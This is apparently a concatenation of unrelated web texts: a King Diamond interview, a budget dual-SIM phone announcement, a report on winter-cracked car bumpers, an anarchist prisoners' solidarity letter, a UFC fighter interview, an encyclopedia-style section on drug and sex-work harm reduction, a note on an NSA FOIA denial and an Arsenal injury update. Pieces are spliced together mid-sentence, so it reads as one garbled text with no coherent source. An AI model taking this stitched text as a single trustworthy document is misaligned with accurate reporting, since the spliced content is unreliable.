Andy said that he was "pretty sure" KING DIAMOND's next album would once again be a concept record. As for the disc's musical direction, the guitarist said: "I don't really know yet, because we don't really have the songs yet. Whatever comes to mind, I believe. It's probably gonna be a good mix of everything. Probably, I would say, a classic KING DIAMOND album, with a good sound."
According to Andy, he and KING DIAMOND's frontman and namesake will jointly produce the band's next album. "And then we'll see what's happening, depending on what way we're gonna go with it," he said. "But King's got his own home studio set up, so he's gonna record all the vocals back him, in his cellar — black and dark, of course, with spiders and bones and skulls."
Regarding a possible release date for KING DIAMOND's new disc, Andy said: "It's really hard to say. I mean, we have to write the songs first and record everything and take it from there. I don't really know. I can't say anything about that. Whenever it's done, it's gonna be released. It's really hard to say. But we've got some great ideas for it; that's all I can say right now."
La Rocque also talked about KING DIAMOND's much-anticipated DVD, which was filmed during the band's "Abigail In Concert" tour a couple of years ago. "I can't really say too much about it, because I'm not the only guy in charge here," he said. "We've got the video producer and I'm working with other stuff once in a while but as soon as I get the chance, I'm working on this and get the right mix. And we also have our live engineer in charge, who's been setting everything up to get a real live feel of everything. Then I've been working on some details there. And the video producers sent me some files we have to check out, make sure everything is in sync, back and forth, and we're still working on it. But I see the light in the tunnel kind of thing, because we're getting close with the first show, which is gonna be from Chile. So we're getting close there with that one. And then there are a few other things to go through. I mean, the only thing we can do is work, work, work on it until it gets good, because this is our first DVD ever released, and we wanna have it good — we want it to be representable for what we're doing.'
According to Andy, KING DIAMOND is "not gonna use any" early video footage on the upcoming DVD. "We're gonna use, from the last years, live shows. And there's gonna be some side footage too, I believe, but I'm not sure exactly what. But mainly from live shows from the 'Abigail' performances we did the last couple of years."
Andy added that the KING DIAMOND DVD should be released "next spring — if everything goes the way we want it."
The "Abigail In Concert 2015" tour saw KING DIAMOND performing the classic 1987 album "Abigail" in its entirety.
KING DIAMOND in 2002 released an album called "Abigail II: The Revenge", which was said to feature a storyline that was the sequel to the original "Abigail" LP. Via BlabbermouthIt’s not that often you come across a dual-SIM Android phone in the U.S. that has spacious display and good specs. The special edition Galaxy Note 2, which comes with dual-SIM support, is a great if somewhat expensive option, but its global release hasn’t been confirmed yet. For something less extravagant that doesn’t necessarily scream budget, there’s always the BLU Vivo 4.3.
We reported about the BLU Vivo 4.3 back in August, when it was hinted that it’d greet customers starting in September. You can stop scouring the web for news of its release as the phone is now up for sale with several online retailers, such as Amazon and Negri Electronics. The dual-SIM phone is being offered for $269.99 and $234.50, respectively.
The fact that it comes unlocked does make the BLU Vivo a rather attractive package for folks who aren’t looking to get tied into a mobile contract. But we’re sure you want to know what the phone is packing inside.
The rather elegant-looking Vivo 4.3 boasts a 4.3-inch Super AMOLED Plus display with 480 x 800 resolution, 1GHz dual-core MediaTek MT6577 processor, 1GB RAM, 4GB onboard storage, microSD slot, 8MP rear camera, 1.3MP front cam, Bluetooth 3.0, WiFi, 1,600 mAh battery, and Android 4.0 Ice Cream Sandwich. The phone is 3G HSDPA ready and of course, it has two SIM card slots inside (dual-standby).
If you’re in the market for a dual-SIM phone, the BLU Vivo 4.3 is worth checking out. Interested?Some auto repair workers say plastic parts on many newer vehicles aren’t holding up under the winter’s consistently cold temperatures this year in Ottawa.
Modern bumpers have a reinforcing bar covered by a flexible bit of plastic called "thermoplastic olefin," and auto body workers such as Mathew Sukhoo said this plastic easily "shatters" when temperatures dip below -20 C.
"When it’s icy people slide a little bit, they tap a bumper, they crack and you have to change it," he said.
"If it has a small crack you can’t really repair it, you have to change the part."
Mathew’s father Keith said he’s worked on more than 20 cracked bumpers in the last two weeks, including a red Subaru at the time of the interview, which he said would cost the owner about $1,000 to repair.
Ottawa body shop manager Aleks Koundakjian said mirrors, headlights and tail lights are other examples of modern vehicle parts that aren’t built for this record-setting winter with temperatures consistently dropping below -20 C.
"It’s just the nature of the plastic itself," he said. "There’s really nothing you can do about it.”Letter of Solidarity to the Chilean Comrades on Hunger-Strike (Greece)
FROM ANARCHIST PRISONERS : Skouloudis, Tsilianidis, Fessas, Tzifkas, Dimtsiadis
Freedom, as well as bars are firstly and mainly in our heads. There are however moments where it becomes perceptible and with particular intensity the existence of walls around us. Moments where under other circumstances we would risk our skin in order to leave the flames to warm people that are fighting far from us, people that we do not know but we feel them reflecting our egos and what we desire on the other side of the world.
Solidarity is a simultaneous expression of revolutionary conscience and authentic militant sentiment. It is expressed with speech and action. In our hands however henceforth, we hold only our words and our thoughts to imprint it. Solidarity is perhaps the most precious of weapons a revolutionary has at his/hers disposal.
We charge it with all the substance of our being, with all the hate for our common enemies, with all our common passion for freedom, and we remind to the comrades that are on hunger strike (from 21/02) in Chile, that in another country, in some similar prisons, confined for some similar reasons, some not so different people are with all their strength next to their struggle, for their immediate release and abolishment of the antiterrorist law.
The fighting dignity of comrades comes to prove that the fight does not stop for an imprisoned revolutionary. They show us that the prison can very well be faced as one more occasion for the appointment of new aspects of revolutionary action.
The return that finds in our own consciences, the position of attack in which the hunger strikers enter makes our solidarity a given as a basic characteristic of a built relationship between those who continuously undermine the social peace.
The ostensible force of the enemy is nothing next to your courage comrades.
WE ARE NEXT TO YOU
WE WILL WIN
SOLIDARITY WITH THE HUNGER STRIKERS- ANARCHIST/LIBERTARIAN FIGHTERS :
Andrea Macarena Urzúa Cid
Camilo Nelson Pérez Tamayo
Carlos Luis Riveros Luttgue
Felipe Guerra Guajardo
Francisco Solar Domínguez
Mónica Andrea Caballero Sepúlveda
Pablo Hernán Morales Führimann
Rodolfo Luis Retamales Leiva
Tags: 14/14, Chile, Greece, Hunger Strike, International Solidarity, Letter
This entry was posted on Tuesday, March 8th, 2011 at 2:56 pm and is filed under Prison Struggle.,
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UFC welterweight Neil Magny aims to make 2017 his biggest year yet. Furthermore, the Colorado transplant looks to make it the year he becomes a title contender.Coming off a win over Johny Hendricks in his most recent outing at UFC 207, Magny is prepared to make a charge up the ladder. Beating a former champion in Hendricks only served to further his confidence, and now he wants to transfer his momentum into a bona fide title run.And to do so, Magny has the perfect opponent in mind to get fans talking and to snag the attention of UFC brass: Jorge Masvidal. This whole thing with [Jorge Masvidal] started because he called me out last summer," Magny told FloCombat. "I was supposed to fight [Dong Hyun] 'Stun Gun' Kim and the UFC was looking for a replacement opponent. He called me out, but at the time I had no interest to fight him because he didn't have any quality wins as a welterweight. I'm a guy who wants to fight the best and fight the guys everyone else fears; I had no interest to fight Masvidal at that time."He needed to get a few good wins under his belt. Time has gone by and he's done that. He beat Jake Ellenberger and 'Cowboy' [Donald Cerrone], and I was pretty impressed. I was like, 'Damn..this guy can actually throw down and he fights pretty aggressive.' That's when he became the guy I want to fight."I know he's dangerous and a tough fight for anyone," he added. "That's the type of guy I want to test myself against, and I'd be excited to fight him."While Magny would be chasing Masvidal in the rankings, it is "Gamebred" who has been throwing verbal jabs in interviews across the MMA media landscape. Magny is all for doing whatever it takes to make the fight happen, and wants the Miami native to know he's more than happy oblige."He can do what he has to do to make this fight happen," Magny said. "I'm all for talking some smack as well, but he and I are in the same position. Guys are running around chasing money fights and he and I are going after what we want. We are both trying to fight for titles and get those big-money fights. Rather than trying to build our money fights off someone else's back, why don't we build our own? Why don't we go out there and put on a good show? I'm all for it."It feels good to know I have a guy in the top five who has me in the back of his mind. That definitely shows I'm on the right path as far as being in there and making a name for myself. I'm all about moving forward and making a run at that title. Masvidal is the guy I want to fight, so let's make it happen."Since coming off The Ultimate FighterMagny has been anything but complacent. The 29-year-old welterweight has kept one of the most prolific paces ever set in UFC history, and he's passed through tier after tier of recognition in the process.That said, Magny is intent to make 2017 the year he cements himself as a title contender, and he believes a bout with Masvidal is the next step to bringing his ultimate plan to fruition."It's a strange time in the welterweight division right now," Magny said. "We have a champion who is chasing money fights over defending the title. You have guys who are coming from other weight divisions looking to come to 170 pounds. I'm looking to put on exciting fights and make the fans demand to have me fight for a title."Making a run at the title is my focus this year. I know I've had a few setbacks in years past, but I believe I'm in a good position. I'll take the right fights, line them up and knock them down, and I feel I'll be fighting for the title before the end of the year."Let's do it. Let's get Masvidal set up," he added emphatically. "I'll keep moving forward and take a step closer to getting that title shot."Don't miss breaking news, feature stories, event updates, and more. Sign up for the FloCombat mailing list today.Who will be crowned Gore's Biggest Bogan on Saturday?
You know it's in there, tucked away where you think no-one can see.
It |
education, and support.[45] In September 2014, a social service agency developed an underground SIS to evaluate the impact and feasibility of implementing SIS in the United States. With a drug injection room and an adjacent room for post-injection monitoring, this underground SIS closely follows the models of SIS in European countries.[46] Though there are no legally sanctioned SIS in the United States, underground SIS and harm reduction programs currently provide services to prevent health consequences associated with injection drug use.[43]
While legislative efforts have been made to legalize and implement SIS for harm reduction, it remains a controversial issue and has been met with protests and petitions from the opposition. In Washington, critics pushed for the passage of Initiative-27 which would ban the public funding of SIS in King County, but was subsequently ruled in the King County Superior Court as an infringement on the authority of the King County Board of Health.[47] Opponents of the facilities argued that implementation of SIS would contradict the goal of preventing substance abuse.[48] Other opposition groups in California took issue with the liability involved if an overdose were to occur, unsure if the patient or the healthcare staff would be responsible.[49] In both San Francisco and Seattle, residents were most concerned about the location of SIS, afraid that the facility would increase crime rates in the surrounding area.[50] Due to these and other opposing viewpoints, legislative efforts to implement SIS in the United States have been a slow progression.
In response to a movement in the United States supporting the opening of SIS, states such as New Mexico[51] and cities including Seattle,[52] San Francisco,[53] Ithaca,[54] New York City,[55] and Philadelphia[56] have convened task forces to study the feasibility and impact of these sites and to make recommendations. Many of these efforts have been part of larger harm reduction programs focused on reducing prescription opiate and heroin abuse. As part of their evaluation, San Francisco considered the healthcare impact on its citizens, such as lives saved, hospital stays, and cases of HIV and hepatitis C. They concluded that SIS would potentially decrease these factors annually. The city also conducted surveys and focus groups to gather opinion from residents and business owners on these facilities. Over half of survey respondents and focus group participants supported SIS. Benefits such as reductions in drug usage, drug overdoses, and spread of disease were identified, in addition to concerns including non-usage of SIS and increased crime in the neighborhood. A cost-benefit analysis of a supervised injection site there has been completed and suggests that one SIS could result in savings of $3.5 million U.S. dollars annually, primarily due to lower medical costs.[57] Elsewhere, harm reduction coalitions, academic public health researchers, nonprofit organizations, and professional medical societies have made contributions to understanding the roles of these facilities in harm reduction. In Baltimore researchers at Johns Hopkins University published a report commissioned by the Abell Foundation with their recommendations for opening two facilities in the city.[58] In Boston the Massachusetts Medical Society adopted a resolution supporting a pilot program led by the state to examine the impact of these sites on lives saved.[59]
Opioid replacement therapy (ORT)
[4] US yearly deaths involving prescription opioids. Non-methadone synthetics is a category dominated by illegally acquired fentanyl, and has been excluded to more accurately reflect deaths from prescription opioids.
Opioid replacement therapy (ORT), or opioid substitution therapy (OST), is the medical procedure of replacing an illegal opioid, such as heroin, with a longer acting but less euphoric opioid; methadone or buprenorphine are typically used and the drug is taken under medical supervision.[60] Some formulations of buprenorphine incorporate the opiate antagonist naloxone during the production of the pill form to prevent people from crushing the tablets and injecting them, instead of using the sublingual (under the tongue) route of administration.[60]
In some countries, such as Switzerland, Austria, and Slovenia, patients may be treated with slow-release morphine when methadone is deemed inappropriate due to the individual's circumstances. In Germany, dihydrocodeine has been used off-label in ORT for many years, however it is no longer frequently prescribed for this purpose. Extended-release dihydrocodeine is again in current use in Austria for this reason.[citation needed] Research into the usefulness of piritramide, extended-release hydromorphone (including polymer implants lasting up to 90 days), dihydroetorphine and other drugs for ORT is at various stages in a number of countries.[60]
The driving principle behind ORT is the program's capacity to facilitate a resumption of stability in the user's life, while they experience reduced symptoms of withdrawal symptoms and less intense drug cravings; however, a strong euphoric effect is not experienced as a result of the treatment drug.[60] In some countries (not the USA, UK, Canada, or Australia),[60] regulations enforce a limited time period for people on ORT programs that conclude when a stable economic and psychosocial situation is achieved. (Patients suffering from HIV/AIDS or Hepatitis C are usually excluded from this requirement.) In practice, 40-65% of patients maintain complete abstinence from opioids while receiving opioid replacement therapy, and 70-95% are able to reduce their use significantly, while experiencing a concurrent elimination or reduction in medical (improper diluents, non-sterile injecting equipment), psychosocial (mental health, relationships), and legal (arrest and imprisonment) issues that can arise from the use of illicit opioids.[60]
Heroin maintenance programmes
[4] Timeline of total number of U.S. overdose deaths involving heroin
Providing medical prescriptions for pharmaceutical heroin (diacetylmorphine) to heroin-dependent people has been employed in some countries to address problems associated with the illicit use of the drug, as potential benefits exist for the individual and broader society. Evidence has indicated that this form of treatment can greatly improve the health and social circumstances of participants, while also reducing costs incurred by criminalisation, incarceration and health interventions.[61][62]
In Switzerland, heroin assisted treatment is an established programme of the national health system. Several dozen centres exist throughout the country and heroin-dependent people can administer heroin in a controlled environment at these locations. The Swiss heroin maintenance programme is generally regarded as a successful and valuable component of the country's overall approach to minimising the harms caused by illicit drug use.[63] In a 2008 national referendum, a majority of 68 per cent voted in favour of continuing the Swiss programme.[64]
The Netherlands has studied medically supervised heroin maintenance.[65] A German study of long-term heroin addicts demonstrated that diamorphine was significantly more effective than methadone in keeping patients in treatment and in improving their health and social situation.[66] Many participants were able to find employment, some even started a family after years of homelessness and delinquency.[67][68] Since then, treatment had continued in the cities that participated in the pilot study, until heroin maintenance was permanently included into the national health system in May 2009.[69][needs update]
A heroin maintenance programme has existed in the United Kingdom (UK) since the 1920s, as drug addiction was seen as an individual health problem. Addiction to opiates was rare in the 1920s and was mostly limited to either middle-class people who had easy access due to their profession, or people who had become addicted as a side effect of medical treatment. In the 1950s and 1960s a small number of doctors contributed to an alarming increase in the number of drug-addicted people in the U.K. through excessive prescribing—the U.K. switched to more restrictive drug legislation as a result.[70] However, the British government is again moving towards a consideration of heroin prescription as a legitimate component of the National Health Service (NHS). Evidence has clearly shown that methadone maintenance is not appropriate for all opioid-dependent people and that heroin is a viable maintenance drug that has shown equal or better rates of success.[71]
A committee appointed by the Norwegian government completed an evaluation of research reports on heroin maintenance treatment that were available internationally. In 2011 the committee concluded that the presence of numerous uncertainties and knowledge gaps regarding the effects of heroin treatment meant that it could not recommend the introduction of heroin maintenance treatment in Norway.[72]
The first, and only, North American heroin maintenance project is being run in Vancouver, B.C. and Montreal, Quebec. Currently, over 80 long-term heroin addicts who have not been helped by available treatment options are taking part in the North American Opiate Medication Initiative (NAOMI) trials. However, critics have alleged that the control group gets unsustainably low doses of methadone, making them prone to fail and thus rigging the results in favor of heroin maintenance.[73]
Critics of heroin maintenance programmes object to the high costs of providing heroin to users. The British heroin study cost the British government £15,000 per participant per year, roughly equivalent to average heroin user's expense of £15,600 per year.[74] Drug Free Australia[75] contrast these ongoing maintenance costs with Sweden's investment in, and commitment to, a drug-free society where a policy of compulsory rehabilitation of drug addicts is integral, which has yielded the one of the lowest reported illicit drug use levels in the developed world,[76] a model in which successfully rehabilitated users present no further maintenance costs to their community, as well as reduced ongoing health care costs.[75]
A substantial part of the money for buying heroin is obtained through criminal activities, such as robbery or drug dealing.[citation needed] King's Health Partners notes that the cost of providing free heroin for a year is about one-third of the cost of placing the user in prison for a year.[dead link][77][78]
Naloxone distribution
Naloxone is a drug used to counter an overdose from the effect of opioids; for example, a heroin or morphine overdose. Naloxone displaces the opioid molecules from the brain's receptors and reverses the respiratory depression caused by an overdose within two to eight minutes.[79] The World Health Organization (WHO) includes naloxone on their "List of Essential Medicines", and recommends its availability and utilization for the reversal of opioid overdoses.[80][81]
Formal programs in which the opioid inverse agonist drug naloxone is distributed have been trialled and implemented. Established programs distribute naloxone, as per WHO's minimum standards, to drug users and their peers, family members, police, prisons, and others. These treatment programs and harm reduction centres operate in Afghanistan, Australia, Canada, China, Germany, Georgia, Kazakhstan, Norway, Russia, Spain, Tajikistan, the United Kingdom (UK), the United States (US), Vietnam,[82] India, Thailand, Kyrgyzstan,[83] Denmark and Estonia.[84]
United States
Officers in Quincy, Massachusetts, US began carrying the nasal spray form of the drug in October 2010, following the completion of a Department of Public Health pilot program, in which naloxone was distributed to friends and families of opiate users, in 2007. Quincy officers have administered the drug 221 times and reversed 211 overdoses since the commencement of the initiative. Espanola Valley, New Mexico and Ocean County, New Jersey police officers then followed the Quincy example in 2013. Quincy mayor Thomas Koch explained in early 2014: "It's easy for the cynical person to say, 'Oh, they're druggies, they're junkies, let them die. But when you put a name and a face and a family to that, then it's a different story. Some people who go down this road will never come back, but if we can bring them back, there's always hope."[85]
Following the use of the nasal spray device by police officers on Staten Island in New York, an additional 20,000 police officers will begin carrying naloxone in mid-2014. The state's Office of the Attorney General will provide US$1.2 million to supply nearly 20,000 kits and Police Commissioner William Bratton said: "Naloxone gives individuals a second chance to get help".[86]
Some Harm Reduction Programs distribute Naloxone kits to people who use opioids and their friends and families to prevent overdose deaths. The distribution of Naloxone and public education by harm reduction programs has been shown to increase the survival rate for opioid users that experience an overdose.[87]
Australia
In March 2013, trial programs commenced in the Australian states of New South Wales (NSW) and the Australian Capital Territory (ACT).[88] Following the publication of its position statement on the peer-based distribution and administration of naloxone in August 2013,[89] Harm Reduction Victoria, based in the Australian state of Victoria, commenced training workshops with drug users on the administration of naloxone in the event of an opiate overdose. During the week beginning March 3, 2014, 19 workshops had been completed by HRV and 156 drug users had been provided with naloxone, paid for by community health agencies.[90]
Cannabis
Specific harms associated with cannabis include increased accident-rate while driving under intoxication, dependence, psychosis, detrimental psychosocial outcomes for adolescent users and respiratory disease.[91] Some safer cannabis usage campaigns including the UKCIA (United Kingdom Cannabis Internet Activists) encourage methods of consumption shown to cause less physical damage to a users body, including oral (eating) consumption, vaporization, the usage of bongs which cool and to some extent filters the smoke, and smoking the cannabis without mixing it with tobacco.
The fact that cannabis possession carries prison sentences in most developed countries is also pointed out as a problem by European Monitoring Centre for Drugs and Drug Addiction (EMCDDA), as the consequences of a conviction for otherwise law-abiding users arguably is more harmful than any harm from the drug itself. For example, by adversely affecting employment opportunities, impacting civil rights,[92] and straining personal relationships.[93] Some people like Ethan Nadelmann of the Drug Policy Alliance have suggested that organized marijuana legalization would encourage safe use and reveal the factual adverse effects from exposure to this herb's individual chemicals.[94]
The way the laws concerning cannabis are enforced is also very selective, even discriminatory. Statistics show that the socially disadvantaged, immigrants and ethnic minorities have significantly higher arrest rates.[93] Drug decriminalisation, such as allowing the possession of small amounts of cannabis and possibly its cultivation for personal use, would alleviate these harms.[93] Where decriminalisation has been implemented, such as in several states in Australia and United States, as well as in Portugal and the Netherlands no, or only very small adverse effects have been shown on population cannabis usage rate.[93] The lack of evidence of increased use indicates that such a policy shift does not have adverse effects on cannabis-related harm while, at the same time, decreasing enforcement costs.[93]
In the last few years certain strains of the cannabis plant with higher concentrations of THC and drug tourism have challenged the former policy in the Netherlands and led to a more restrictive approach; for example, a ban on selling cannabis to tourists in coffeeshops suggested to start late 2011.[95] Sale and possession of cannabis is still illegal in Portugal[96] and possession of cannabis is a federal crime in the United States.
Alcohol
Traditionally, homeless shelters ban alcohol. In 1997, as the result of an inquest into the deaths of two homeless alcoholics two years earlier, Toronto's Seaton House became the first homeless shelter in Canada to operate a "wet shelter" on a "managed alcohol" principle in which clients are served a glass of wine once an hour unless staff determine that they are too inebriated to continue. Previously, homeless alcoholics opted to stay on the streets often seeking alcohol from unsafe sources such as mouthwash, rubbing alcohol or industrial products which, in turn, resulted in frequent use of emergency medical facilities. The programme has been duplicated in other Canadian cities, and a study of Ottawa's "wet shelter" found that emergency room visit and police encounters by clients were cut by half.[97] The study, published in the Canadian Medical Association Journal in 2006, found that serving chronic street alcoholics controlled doses of alcohol also reduced their overall alcohol consumption. Researchers found that programme participants cut their alcohol use from an average of 46 drinks a day when they entered the programme to an average of 8 drinks and that their visits to emergency rooms dropped from 13.5 to an average of 8 per month, while encounters with the police fall from 18.1 to an average of 8.8.[98][99]
Downtown Emergency Service Center (DESC), in Seattle, Washington, operates several Housing First programmes which utilize the harm reduction model. University of Washington researchers, partnering with DESC, found that providing housing and support services for homeless alcoholics costs taxpayers less than leaving them on the street, where taxpayer money goes towards police and emergency health care. Results of the study funded by the Substance Abuse Policy Research Program (SAPRP) of the Robert Wood Johnson Foundation[100] appeared in the Journal of the American Medical Association in April 2009.[101] This first controlled assessment in the U.S. of the effectiveness of Housing First, specifically targeting chronically-homeless alcoholics, showed that the programme saved taxpayers more than $4 million over the first year of operation. During the first six months, the study reported an average cost-savings of 53 percent (even after considering the cost of administering the housing's 95 residents) — nearly $2,500 per month per person in health and social services, compared to the per month costs of a wait-list control group of 39 homeless people. Further, despite the fact residents are not required to be abstinent or in treatment for alcohol use, stable housing also results in reduced drinking among homeless alcoholics.
Alcohol-related programmes
A high amount of media coverage exists informing users of the dangers of driving drunk. Most alcohol users are now aware of these dangers and safe ride techniques like 'designated drivers' and free taxicab programmes are reducing the number of drunk-driving accidents. Many cities have free-ride-home programmes during holidays involving high alcohol abuse, and some bars and clubs will provide a visibly drunk patron with a free cab ride.
In New South Wales groups of licensees have formed local liquor accords and collectively developed, implemented and promoted a range of harm minimisation programmes including the aforementioned 'designated driver' and 'late night patron transport' schemes. Many of the transport schemes are free of charge to patrons, to encourage them to avoid drink-driving and at the same time reduce the impact of noisy patrons loitering around late night venues.
Moderation Management is a programme which helps drinkers to cut back on their consumption of alcohol by encouraging safe drinking behaviour.
The HAMS Harm Reduction Network is a programme which encourages any positive change with regard to the use of alcohol or other mood altering substances. HAMS encourages goals of safer drinking, reduced drinking, moderate drinking, or abstinence. The choice of the goal is up to the individual.
Harm reduction in alcohol dependency could be instituted by use of naltrexone.[102]
Tobacco
Tobacco harm reduction describes actions taken to lower the health risks associated with using tobacco, especially combustible forms, without abstaining completely from tobacco and nicotine. Some of these measures include switching to safer (lower tar) cigarettes, switching to snus or dipping tobacco, or using a non-tobacco nicotine delivery systems. In recent years, the growing use of electronic cigarettes for smoking cessation, whose long-term safety remains uncertain, has sparked an ongoing controversy among medical and public health between those who seek to restrict and discourage all use until more is known and those who see them as a useful approach for harm reduction, whose risks are most unlikely to equal those of smoking tobacco.[103] "Their usefulness in tobacco harm reduction as a substitute for tobacco products is unclear,[104] but in an effort to decrease tobacco related death and disease, they have a potential to be part of the strategy.[105]
It is widely acknowledged that discontinuation of all tobacco products confers the greatest lowering of risk. However, there is a considerable population of inveterate smokers who are unable or unwilling to achieve abstinence. Harm reduction may be of substantial benefit to these individuals.
Psychedelics
The Zendo Project conducted by the Multidisciplinary Association for Psychedelic Studies uses principles from psychedelic therapy to provide safe places and emotional support for people having difficult experiences on psychedelic drugs at select festivals such as Burning Man, Boom Festival, and Lightning in a Bottle without medical or law enforcement intervention.[106]
Drugs such as MDMA (commonly sold by the slang names "ecstasy" and "molly") are often adulterated. One harm reduction approach is drug checking, where people intending to use drugs can have their substances tested for content and purity so that they can then make more informed decisions about safer consumption. European organisations have offered drug checking services since 1992 and these services now operate in over twenty countries. As an example, the nonprofit organization DanceSafe offers on-site testing of the contents of pills and powders at various electronic music events around the US. They also sell kits for users to test the contents of drugs themselves. PillReports.com invites ecstasy users to send samples of drugs for laboratory testing and publishes the results online.
Sex
Safer sex programmes
Many schools now provide safer sex education to teen and pre-teen students, who may engage in sexual activity. Since some adolescents are going to have sex, a harm-reductionist approach supports a sexual education which emphasizes the use of protective devices like condoms and dental dams to protect against unwanted pregnancy and the transmission of STIs. This runs contrary to abstinence-only sex education, which teaches that educating children about sex can encourage them to engage in it.
These programmes have been found to decrease risky sexual behaviour and prevent sexually transmitted diseases.[107] They also reduce rates of unwanted pregnancies.[108] Abstinence only programmes do not appear to affect HIV risks in developed countries with no evidence available for other areas.[109]
Legalized prostitution
Since 1999 some countries have legalized prostitution, such as Germany (2002) and New Zealand (2003). However, in most countries the practice is prohibited. Gathering accurate statistics on prostitution and human trafficking is extremely difficult. This has resulted in proponents of legalization claiming that it reduces organized crime rates while opponents claim exactly the converse. The Dutch prostitution policy, which is one of the most liberal in the world, has gone back and forth on the issue several times. In the period leading up to 2015 up to a third of officially sanctioned work places had been closed down again after reports of human trafficking. Prostitutes themselves are generally opposed to what they see as "theft of their livelihood"[110]
Sex work and HIV
Despite the depth of knowledge of HIV/AIDS, rapid transmission has occurred globally in sex workers.[9] The relationship between these two variables greatly increases the risk of transmission among these populations, and also to anyone associated with them, such as their sexual partners, their children, and eventually the population at large.[9]
Many street-level harm-reduction strategies have succeeded in reducing HIV transmission in injecting drug users and sex-workers.[3] HIV education, HIV testing, condom use, and safer-sex negotiation greatly decreases the risk to the disease.[3] Peer education as a harm reduction strategy has especially reduced the risk of HIV infection, such as in Chad, where this method was the most cost-effective per infection prevented.[3]
Decriminalisation
The threat of criminal repercussions drives sex-workers and injecting drug users to the margins of society, often resulting in high-risk behaviour, increasing the rate of overdose, infectious disease transmission, and violence.[111][not in citation given] Decriminalisation as a harm-reduction strategy gives the ability to treat drug abuse solely as a public health issue rather than a criminal activity. This enables other harm-reduction strategies to be employed, which results in a lower incidence of HIV infection.[3]
Psychiatric medications
With the growing concern about psychiatric medication adverse effects and long-term dependency, peer-run mental health groups Freedom Center and The Icarus Project published the Harm Reduction Guide to Coming Off Psychiatric Drugs. The self-help guide provides patients with information to help assess risks and benefits, and to prepare to come off, reduce, or continue medications when their physicians are unfamiliar with or unable to provide this guidance. The guide is in circulation among mental health consumer groups and has been translated into ten languages.[112]
Criticism
Critics, such as Drug Free America Foundation and other members of network International Task Force on Strategic Drug Policy, state that a risk posed by harm reduction is by creating the perception that certain behaviours can be partaken of safely, such as illicit drug use, that it may lead to an increase in that behaviour by people who would otherwise be deterred.
We oppose so-called 'harm reduction' strategies as endpoints that promote the false notion that there are safe or responsible ways to use drugs. That is, strategies in which the primary goal is to enable drug users to maintain addictive, destructive, and compulsive behavior by misleading users about some drug risks while ignoring others. "Statement on so-called 'Harm Reduction' policies" made at a conference in Brussels, Belgium by signatories of the drug prohibitionist network International Task Force on Strategic Drug Policy[113]
...some organizations and local governments actively advocate the legalization of drugs and promote policies such as "harm reduction" that accept drug use and do not help drug users to become free from drug abuse. This undermines the international efforts to limit the supply of and demand for drugs. "Harm reduction" is too often another word for drug legalization or other inappropriate relaxation efforts, a policy approach that violates the UN Conventions. "Declaration of the World Forum Against Drugs Stockholm Sweden, September 10, 2008[114]
However, in Switzerland the incidence of heroin abuse has declined sharply since the introduction of heroin assisted treatment. As a study published in The Lancet concluded:
The harm reduction policy of Switzerland and its emphasis on the medicalisation of the heroin problem seems to have contributed to the image of heroin as unattractive for young people." Nordt, Carlos, and Rudolf Stohler, "Incidence of Heroin Use in Zurich, Switzerland: A Treatment Case Register Analysis,"[115]
Critics furthermore reject harm reduction measures for allegedly trying to establish certain forms of drug use as acceptable in society:
Harm reduction has come to represent a philosophy in which illicit substance use is seen as largely unpreventable, and increasingly, as a feasible and acceptable lifestyle as long as use is not 'problematic'. At its root of this philosophy lay an acceptance of drug use into the mainstream of society. We reject this philosophy as fatalistic and faulty at its core. The idea that we can safely use drugs is a dangerous one.... It is in fact an unsafe choice that brings great harm to individuals, families, and communities across. And it sends the wrong message to the most valuable yet vulnerable group of Canadians – our children and youth. Drug Prevention Network of Canada[116]
Even though the world is against drug abuse, some organizations and local governments actively advocate the legalization of drugs and promote policies such as 'harm reduction' that accept drug use and do not help drug users to become free from drug abuse. This undermines the international efforts to limit the supply of and demand for drugs. 'Harm reduction' is too often another word for drug legalization or other inappropriate relaxation efforts, a policy approach that violates the UN Conventions. There can be no other goal than a drug-free world. [...] We support the INCB statement that 'harm reduction' programmes are not substitutes for demand reduction programmes and should not be carried out at the expense of other important activities to reduce the demand for illicit drugs, such as drug prevention activities. Declaration of World Forum Against Drugs, Stockholm, 2008, a conference with participation from 82 countries.[117]
Pope Benedict XVI strongly criticised harm reduction policies with regards to HIV/AIDS, saying that it was "a tragedy that cannot be overcome by money alone, that cannot be overcome through the distribution of condoms, which even aggravates the problems".[118] This position was in turn widely criticised for misrepresenting and oversimplifying the role of condoms in preventing infections.[119][120]
See alsoJeff Larson, a news application developer for Pro Publica, filed a Freedom of Information Act request with the National Security Agency for data they may have about him, and got a response.
From Pro Publica:
Shortly after the Guardian and Washington Post published their Verizon and PRISM stories, I filed a freedom of information request with the NSA seeking any personal data the agency has about me. I didn't expect an answer, but yesterday I received a letter signed by Pamela Phillips, the Chief FOIA Officer at the agency (which really freaked out my wife when she picked up our mail).
The letter, a denial, includes what is known as a Glomar response -- neither a confirmation nor a denial that the agency has my metadata. It also warns that any response would help “our adversaries”:
Any positive or negative response on a request-by-request basis would allow our adversaries to accumulate information and draw conclusions about the NSA's technical capabilities, sources, and methods.
Our adversaries are likely to evaluate all public responses related to these programs.
The NSA doesn’t identify in the letter who those adversaries might be.
Follow these stories and more at Reason 24/7 and don't forget you can e-mail stories to us at 24_7@reason.com and tweet us at @reason247.ARSENE WENGER has revealed striker Olivier Giroud is facing at least three weeks out through injury.
Arsenal boss Wenger says his French striker will not be available until at least the middle of January after suffering a hamstring injury just before Christmas.
Getty Images - Getty 3 Olivier Giroud is expected to miss at least six matches with a hamstring strain
And the Gunners now face more fitness worries surrounding defender Nacho Monreal who Wenger admits will not be available until early in the New Year.
Monreal hobbled off during the 3-3 draw against Liverpool last week, forcing a big re-shuffle to the Arsenal defence.
And now the Spanish international is expected to be out until mid-January leaving Wenger having to decide whether he can play a three-man defence with the players available.
Monreal will definitely miss the next three Premier League matches against Crystal Palace, West Brom and the crucial clash with Chelsea.
Getty Images - Getty 3 Nacho Monreal suffered an ankle injury in the draw with Liverpool
Thursday Premier League preview: Crystal Palace v Arsenal
And he is unlikely to be back in time to play Nottingham Forest on January 7.
That means he is facing a race to be back to full fitness in time for the Carabao Cup semi-final first leg clash with Chelsea on January 10.
The prognosis for striker Giroud is worse still, with the 31-year-old already ruled out of the next six league and cup matches.
He pulled up with the injury in the Carabao Cup quarter-final win over West Ham.
And the earliest Wenger now hopes to have his forward back available for selection will be the home game against Palace on January 20.
It means Wenger's attacking options will be stretched to the limit at a time when the fixture list is at its most congested.
AFP 3 Alexandre Lacazette is the only recognised striker fit and available
Alaxandre Lacazette is now the only genuine out-and-out striker left fit in his squad and Wenger will be reluctant to run him into the ground.
